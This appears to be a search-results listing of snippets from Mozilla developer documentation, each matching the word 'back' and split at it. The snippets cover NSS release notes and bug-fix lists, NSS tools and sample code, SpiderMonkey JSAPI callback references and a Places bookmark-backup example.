backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.27 release notes
256 fingerprint: 5f:0b:62:ea:b5:e3:53:ea:65:21:65:16:58:fb:b6:53:59:f4:43:28:0a:4a:fb:d1:04:d7:7d:10:f9:f0:4c:07 bugs fixed in nss 3.27 this bugzilla query returns all the bugs fixed in nss 3.27: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.27 compatibility nss 3.27 shared libraries are
backwards compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.28.1 release notes
bugs fixed in nss 3.28.1 bug 1296697 - december 2016 batch of root ca changes bug 1322496 - internal error assert when the other side closes connection before reading eoed compatibility nss 3.28.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.28.2 release notes
bugs fixed in nss 3.28.2 bug 1334114 - nss 3.28 regression in signature scheme flexibility, causes connectivity issue between ios 8 clients and nss servers with ecdsa certificates bug 1330612 - x25519 is the default curve for ecdhe in nss bug 1323150 - crash [@ readdbentry ] compatibility nss 3.28.2 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.28.3 release notes
compatibility nss 3.28.3 shared libraries are
backward compatible with most older nss 3.x shared libraries, but depending on your application, may be incompatible, if you application has been compiled against header files of versions 3.28, 3.28.1, or 3.28.2.
...see also the separate release notes for nss 3.29.1 feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.28.4 release notes
compatibility nss 3.28.4 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.29.1 release notes
compatibility nss 3.29.1 shared libraries are
backward compatible with most older nss 3.x shared libraries, but depending on your application, may be incompatible, if you application has been compiled against header files of versions 3.28, 3.28.1, 3.28.2 nss 3.29.1.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.29.2 release notes
compatibility nss 3.29.2 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.29.3 release notes
bugs fixed in nss 3.29.3 bug 1342358 - crash in tls13_destroykeyshares compatibility nss 3.29.3 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.29.5 release notes
compatibility nss 3.29.5 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.29 release notes
bugs fixed in nss 3.29 this bugzilla query returns all the bugs fixed in nss 3.29: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.29 compatibility nss 3.29 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.30.1 release notes
compatibility nss 3.30.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.30.2 release notes
g.tr the version number of the updated root ca list has been set to 2.14 (the version numbers 2.12 and 2.13 for the root ca list have been skipped.) bugs fixed in nss 3.30.2 bug 1350859 - march 2017 batch of root ca changes bug 1349705 - implemented domain name constraints for ca: tubitak kamu sm ssl kok sertifikasi - surum 1 compatibility nss 3.30.2 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.31.1 release notes
compatibility nss 3.31.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.31 release notes
bugs fixed in nss 3.31 this bugzilla query returns all the bugs fixed in nss 3.31: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.31 compatibility nss 3.31 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.32 release notes
(cve-2018-5149, bug 1361197) this bugzilla query returns all the bugs fixed in nss 3.32: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.32 compatibility nss 3.32 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (select the product 'nss').
NSS 3.33 release notes
bugs fixed in nss 3.33 this bugzilla query returns all the bugs fixed in nss 3.33: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.33 compatibility nss 3.33 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (select product 'nss').
NSS 3.34.1 release notes
new in nss 3.34 new functionality none new functions bugs fixed in nss 3.34.1 this bugzilla query returns all the bugs fixed in nss 3.34.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.34.1 compatibility nss 3.34.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (select product 'nss').
NSS 3.34 release notes
new functions bugs fixed in nss 3.34 this bugzilla query returns all the bugs fixed in nss 3.34: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.34 compatibility nss 3.34 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (select product 'nss').
NSS 3.36.1 release notes
this bugzilla query returns all the bugs fixed in nss 3.36.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.36.1 compatibility nss 3.36.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.36.2 release notes
this bugzilla query returns all the bugs fixed in nss 3.36.2: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.36.2 compatibility nss 3.36.2 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.36.4 release notes
compatibility nss 3.36.4 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.36.5 release notes
this is a patch release to fix cve-2018-12384 bugs fixed in nss 3.36.5 bug 1483128 - nss responded to an sslv2-compatible clienthello with a serverhello that had an all-zero random (cve-2018-12384) compatibility nss 3.36.5 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.36.6 release notes
compatibility nss 3.36.6 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.36.7 release notes
(cve-2018-18508) compatibility nss 3.36.7 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.36.8 release notes
bugs fixed in nss 3.36.8 1554336 - optimize away unneeded loop in mpi.c 1515342 - more thorough input checking (cve-2019-11729) 1540541 - don't unnecessarily strip leading 0's from key material during pkcs11 import (cve-2019-11719) compatibility nss 3.36.8 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.36 release notes
bugs fixed in nss 3.36 this bugzilla query returns all the bugs fixed in nss 3.36: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.36 compatibility nss 3.36 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.37.1 release notes
this bugzilla query returns all the bugs fixed in nss 3.37.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.37.1 compatibility nss 3.37.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.37.3 release notes
compatibility nss 3.37.3 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.38 release notes
bugs fixed in nss 3.38 this bugzilla query returns all the bugs fixed in nss 3.38: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.38 compatibility nss 3.38 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.39 release notes
gs fixed in nss 3.39 bug 1483128 - nss responded to an sslv2-compatible clienthello with a serverhello that had an all-zero random (cve-2018-12384) this bugzilla query returns all the bugs fixed in nss 3.39: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.39 compatibility nss 3.39 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.40.1 release notes
this is a patch release to fix cve-2018-12404 new functions none bugs fixed in nss 3.40.1 bug 1485864 - cache side-channel variant of the bleichenbacher attack (cve-2018-12404) compatibility nss 3.40.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.40 release notes
0aaab20a25151bdf1733ee7d122 bugs fixed in nss 3.40 bug 1478698 - ffdhe key exchange sometimes fails with decryption failure this bugzilla query returns all the bugs fixed in nss 3.40: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.40 compatibility nss 3.40 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.41.1 release notes
(cve-2018-18508) this bugzilla query returns all bugs fixed in 3.41.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.41.1 compatibility nss 3.41.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.41 release notes
loretryrequest bug 1493769 - set session_id for external resumption tokens bug 1507179 - reject ccs after handshake is complete in tls 1.3 this bugzilla query returns all the bugs fixed in nss 3.41: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.41 compatibility nss 3.41 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.42.1 release notes
(cve-2018-18508) this bugzilla query returns all the bugs fixed in nss 3.42.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.42.1 compatibility nss 3.42.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.42 release notes
bug 1513913 - a fix for solaris where firefox 60 core dumps during start when using profile from version 52 this bugzilla query returns all the bugs fixed in nss 3.42: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.42 compatibility nss 3.42 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.44.1 release notes
2019-11719) 1515236 - add a sslkeylogfile enable/disable flag at build.sh 1473806 - fix seckey_converttopublickey handling of non-rsa keys 1546477 - updates to testing for fips validation 1552208 - prohibit use of rsassa-pkcs1-v1_5 algorithms in tls 1.3 (cve-2019-11727) 1551041 - unbreak build on gcc < 4.3 big-endian compatibility nss 3.44.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.44.2 release notes
2 bug 1582343 - soft token mac verification not constant time bug 1577953 - remove arbitrary hkdf output limit by allocating space as needed this bugzilla query returns all the bugs fixed in nss 3.44.2: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.44.2 compatibility nss 3.44.2 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.44.3 release notes
't set the constructed bit for issueruniqueid and subjectuniqueid in mozilla::pkix cve-2019-11745 - encryptupdate should use maxout, not block size this bugzilla query returns all the bugs fixed in nss 3.44: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.44 compatibility nss 3.44.3 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.44.4 release notes
bugs fixed in nss 3.44.4 cve-2020-12399 - force a fixed length for dsa exponentiation compatibility nss 3.44.4 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.44 release notes
7 - nss's sqlite compilation warnings make the build fail on ios 1550041 - freebl not building on ios simulator 1542950 - macos cipher test timeouts this bugzilla query returns all the bugs fixed in nss 3.44: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.44 compatibility nss 3.44 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.46.1 release notes
1 bug 1582343 - soft token mac verification not constant time bug 1577953 - remove arbitrary hkdf output limit by allocating space as needed this bugzilla query returns all the bugs fixed in nss 3.46.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.46.1 compatibility nss 3.46.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.46 release notes
add strsclnt option to enforce the use of either ipv4 or ipv6 bug 1549847 - fix nss builds on ios bug 1485533 - enable nss_ssl_tests on taskcluster this bugzilla query returns all the bugs fixed in nss 3.46: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.46 compatibility nss 3.46 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.47.1 release notes
sh that could be caused by client certificates during startup bug 1589810 - fix compile-time warnings from uninitialized variables in a perl script this bugzilla query returns all the bugs fixed in nss 3.47: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.47 compatibility nss 3.47.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.47 release notes
bug 1577038 - add pk11_getcertsfromprivatekey to return all certificates with public keys matching a particular private key this bugzilla query returns all the bugs fixed in nss 3.47: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.47 compatibility nss 3.47 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.48.1 release notes
this bugzilla query returns all the bugs fixed in nss 3.48: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.48 compatibility nss 3.48.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.49.1 release notes
this bugzilla query returns all the bugs fixed in nss 3.49: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.49 compatibility nss 3.49.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.49.2 release notes
bug 1608327 - fix compilation problems with neon-specific code in freebl bug 1608895 - fix a taskcluster issue with python 2 / python 3 this bugzilla query returns all the bugs fixed in nss 3.49: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.49 compatibility nss 3.49.2 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.49 release notes
fix automation/release/nss-release-helper.py on macos bug 1594933 - disable building dbm by default bug 1562548 - improve gcm perfomance on aarch32 this bugzilla query returns all the bugs fixed in nss 3.49: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.49 compatibility nss 3.49 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.51.1 release notes
compatibility nss 3.51.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.51 release notes
m64 compilation error: unused variable 'getauxval' bug 1610687 - fix a crash on unaligned cmaccontext.aes.keyschedule when using aes-ni intrinsics this bugzilla query returns all the bugs fixed in nss 3.51: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.51 compatibility nss 3.51 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.52.1 release notes
bugs fixed in nss 3.52.1 cve-2020-12399 - force a fixed length for dsa exponentiation compatibility nss 3.52.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.52 release notes
neddata.signerinfo to avoid a cms crash bug 1571677 - name constraints validation: cn treated as dns name even when syntactically invalid as dns name this bugzilla query returns all the bugs fixed in nss 3.52: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.52 compatibility nss 3.52 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.53.1 release notes
compatibility nss 3.53.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.53 release notes
after changes in libintvector.h bug 1636058 - fix building nss on debian s390x, mips64el, and riscv64 bug 1622033 - add option to build without seed this bugzilla query returns all the bugs fixed in nss 3.53: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.53 compatibility nss 3.53 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.54 release notes
this bugzilla query returns all the bugs fixed in nss 3.54: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.54 compatibility nss 3.54 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.55 release notes
this bugzilla query returns all the bugs fixed in nss 3.55: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.55 compatibility nss 3.55 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.56 release notes
this bugzilla query returns all the bugs fixed in nss 3.56: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.56 compatibility nss 3.56 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS Sample Code Sample1
the wrapped value is sent
back to // the secondary host.
...to done; } // transfer the keys from server1 { secitem *wrappedenckey = 0; secitem *wrappedmackey = 0; secitem *pubkeydata = 0; // get the public key for server 2 so that it can // be sent to server 1 rv = server2->exportpublickey(&pubkeydata); if (rv) { cout << "exportpublickey failed" << endl; goto trans_done; } // send the public key to server 1 and get
back the // wrapped key values rv = server1->exportkeys(pubkeydata, &wrappedenckey, &wrappedmackey); if (rv) { cout << "exportkeys failed" << endl; goto trans_done; } // print - for information cout << "wrapped encryption key" << endl; printbuffer(wrappedenckey->data, wrappedenckey->len); cout << "wrapped mac key" << endl; printbuffer(wrappedmackey->data, wrappedmackey...
nss tech note1
if kind contains the sec_asn1_xtrn or sec_asn1_dynamic modifiers, this is a pointer to a call
back function that will dynamically return the required subtemplate.
...the sub field of the template points to a call
back function of type sec_asn1templatechooser that returns the subtemplate depending on the component data.
nss tech note8
background information on libssl's cache functions and sids nss technical note: 8 27 february 2006 nelson b.
... bolyard here is some
background information on libssl's cache functions and sids.
NSS release notes template
compatibility nss 3.xx.y shared libraries are
backward compatible with all older nss 3.x shared libraries.
...feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
FC_OpenSession
flags [in] papplication notify [in] pointer to a notification call
back function.
...the nss cryptographic module currently doesn't call the surrender call
back function notify.
NSS tools : modutil
--> valuelist valuelist --> value valuelist <null> value ---> key_value_pair string key_value_pair --> key { valuelist } key --> string string --> simple_string "complex_string" simple_string --> [^ \t\n\""{""}"]+ complex_string --> ([^\"\\\r\n]|(\\\")|(\\\\))+ quotes and
backslashes must be escaped with a
backslash.
...the shared database type is preferred; the legacy format is included for
backward compatibility.
NSS tools : ssltab
if you are using the default badcert call
back, you can still connect through a dialog.
... if you are not using the default badcert call
back, the one you supply must allow for this possibility.
NSS tools : ssltap
if you are using the default badcert call
back, you can still connect through a dialog.
... if you are not using the default badcert call
back, the one you supply must allow for this possibility.
troubleshoot.html
cd c:/programs/cygnus/bin (or wherever your gnu tools are installed) cp shmsdos.exe shmsdos.bak (
backup shmsdos) cp sh.exe shmsdos.exe (substitute alternative shell) making this change will probably break other builds you are making on the same machine.
... you may need to switch the shell
back and forthdepending on which product you are building.
NSS Tools ssltap
if you are using the default badcert call
back, you can still connect through a dialog.
... if you are not using the default badcert call
back, the one you supply must allow for this possibility.
NSS tools : modutil
--> valuelist valuelist --> value valuelist <null> value ---> key_value_pair string key_value_pair --> key { valuelist } key --> string string --> simple_string "complex_string" simple_string --> [^ \t\n\""{""}"]+ complex_string --> ([^\"\\\r\n]|(\\\")|(\\\\))+ quotes and
backslashes must be escaped with a
backslash.
...the shared database type is preferred; the legacy format is included for
backward compatibility.
NSS tools : ssltap
if you are using the default badcert call
back, you can still connect through a dialog.
... if you are not using the default badcert call
back, the one you supply must allow for this possibility.
Rhino Debugger
you may move
backward and forward through the history list by pressing the up/down arrow keys on the keyboard.
...you may move
backward or forward through the history by pressing the up/down arrow keys on the keyboard.
Rebranding SpiderMonkey (1.8.5)
the above command has actually changed some information we need changed
back so we will re-issue the recursive find and replace text in files command with some modifications.
...search for this text: mozjs185.pc "scroll down" a few lines until you see this line: > $@ && chmod 644 $@ that line should be modified to read
back: > $brand.pc && chmod 644 $brand.pc "scroll down" a few lines until you see these lines: install:: $(pkg_config_files) @echo pkg_config_file: $(pkg_config_files) those two lines should be modified to read
back: install:: $brand.pc @echo pkg_config_file: $brand.pc note: while it is possible to automate the manual editing process, this has been discouraged due to the fact that these ...
JS::AutoVectorRooter
void pop
back() pops an element from the array.
... const t &
back() const returns the last element.
JSExtendedClass.outerObject
jsextendedclass.outerobject and .innerobject are call
backs for split objects.
... call
back syntax typedef jsobject * (*jsobjectop)(jscontext *cx, jsobject *obj); name type description cx jscontext * a context.
JSExtendedClass
}; name type description base jsclass the basic class information and call
backs for this class.
... description to implement a custom class that uses any of the jsextendedclass call
backs: create a jsextendedclass and populate both the base fields and the extended fields.
JSGetObjectOps
jsgetobjectops is the type for jsclass.getobjectops call
back syntax typedef jsobjectops * (* jsgetobjectops)(jscontext *cx, jsclass *clasp); name type description cx jscontext * the js context in which the new object is being created.
...if this seems
backwards, that's because it is!
JSHasInstanceOp
on success, the call
back stores the result of the type check in *bp.
... jsclass hooks jsclass offers the following hook: the jsclass.hasinstance call
back implements js_hasinstance and the javascript instanceof keyword.
JSMarkOp
jsmarkop is the type of the jsclass.mark call
back in spidermonkey 1.7 and earlier.
... jsclass hooks jsclass offers the following hook: the javascript engine calls the jsclass.mark call
back during the mark phase of garbage collection.
JSObjectOp
jsobjectop is the type of several jsapi call
backs that map an object to another object, or null if an error or exception occurred.
... typedef jsobject * (*jsobjectop)(jscontext *cx, jsobject *obj); the call
backs of this type are: jsextendedclass.outerobject jsextendedclass.innerobject jsextendedclass.wrappedobject jsobjectops.thisobject ...
JSObjectOps.getProperty
jsobjectops.getproperty, setproperty, and deleteproperty are high-level call
backs that implement object property accesses.
... each of these call
backs is responsible for everything involved with an individual property access operation, including: any locking necessary for thread safety; security checks; finding the property, including walking the prototype chain if needed; calling the lower-level jsclass hooks; calling getters or setters; and actually getting, setting, or deleting the property once it is found.
JSObjectOps.newObjectMap
the jsobjectops.newobjectmap call
back is called whenever a new object is created.
...an application that implements jsobjectops must therefore either implement the newobjectmap by including the non-public header jsobj.h, or obtain the default newobjectmapop by calling the jsclass.getobjectops call
back of a standard jsclass.
JS_AddArgumentFormatter
call
back syntax jsbool (*jsargumentformatter)(jscontext *cx, const char *format, jsbool fromjs, jsval **vpp, va_list *app); name type description cx jscontext * the context in which the conversion is being performed.
... call
back description the conversion function should return true on success, and return false after reporting an error or detecting an already-reported error.
JS_CheckForInterrupt
js_checkforinterrupt returns false if interrupt call
back returns false.
... see also mxr id search for js_checkforinterrupt js_setinterruptcall
back js_getinterruptcall
back js_requestinterruptcall
back bug 1058695 ...
JS_ConvertArguments
obsolete since jsapi 30 this must be an argv pointer created by the js engine and passed to a jsnative or jsfastnative call
back, not an array created by application code.
...(if conversion creates a new gc thing, the corresponding jsval is written
back to argv, which is rooted.) description js_convertarguments provides a convenient way to translate a series of js values into their corresponding js types with a single function call.
JS_LookupProperty
(the javascript engine simply passes these flags through to the object when it calls the object's jsclass.resolve call
back, so objects of a custom jsclass may interpret these flags however they like.) if flags is 0, js_lookuppropertywithflags uses the default lookup rules, the ones used by js_lookupproperty.
...internally, property lookups are implemented by the jsobjectops.lookupproperty call
back.
JS_NewExternalString
(ultimately, the string will be garbage collected, and the javascript engine will call the string finalizer call
back, allowing the application to free the array.) the array does not need to be zero-terminated.
...added in spidermonkey 17 type int (js_newexternalstringwithclosure only) indicates which string finalizer call
back the javascript engine should use (later) to free the string buffer chars.
JS_NewGlobalObject
debugger api hook during global creation, we fire notifications to call
backs registered via the debugger api.
... these call
backs are arbitrary script, and can touch the global in arbitrary ways.
JS_SetPrivate
in particular: if you allocate memory for private data, you must free it, typically in a jsclass.finalize call
back.
... if your class's private data contains any jsvals or other references to javascript objects, implement the jsclass.mark call
back to ensure they are not prematurely reclaimed by the garbage collector.
JS_ValueToNumber
(this behavior is implemented by v's jsobjectops.defaultvalue hook, so host objects can override it all.) first, the object's jsclass.convert call
back is called.
...if the convert call
back produces a primitive value, the value is converted to a number as described above and conversion succeeds.
JS_ValueToString
otherwise, the resulting object's jsclass.convert call
back is called.
...if the convert call
back produces a primitive value, the value is converted to a string as described above and conversion succeeds.
Mozilla Projects
mailnews is the
back end of the messaging parts of seamonkey and thunderbird.
... all constructive feed
back is very welcome.
Setting up an update server
backup that file to another location and replace it with <obj dir>/dist/bin/maintenanceservice.exe.
... don't forget to restore the
backup when you are done.
Embedded Dialog API
part of gecko's embedding api is call
backs into the embedding application for creating new windows.
...this is accomplished using a call
back into the embedding application.
Mork
commit transaction is '@$$}hex}@' and roll
back transaction '@$$}~~}'.
...you pass in a file to parsefile, select the tables, and then pass in call
back functions for the meta-row and row enumeration functions.
Places Developer Guide
backup/restore the new bookmarks system uses the json format for storing
backups of users' bookmarks.
...var ci = components.interfaces; var cc = components.classes; var cu = components.utils; // import placesutils cu.import("resource://gre/modules/placesutils.jsm"); cu.import("resource://gre/modules/services.jsm"); // create the
backup file var jsonfile = services.dirsvc.get("profd", ci.nsilocalfile); jsonfile.append("bookmarks.json"); jsonfile.create(ci.nsilocalfile.normal_file_type, 0600); // export bookmarks in json format to file placesutils.
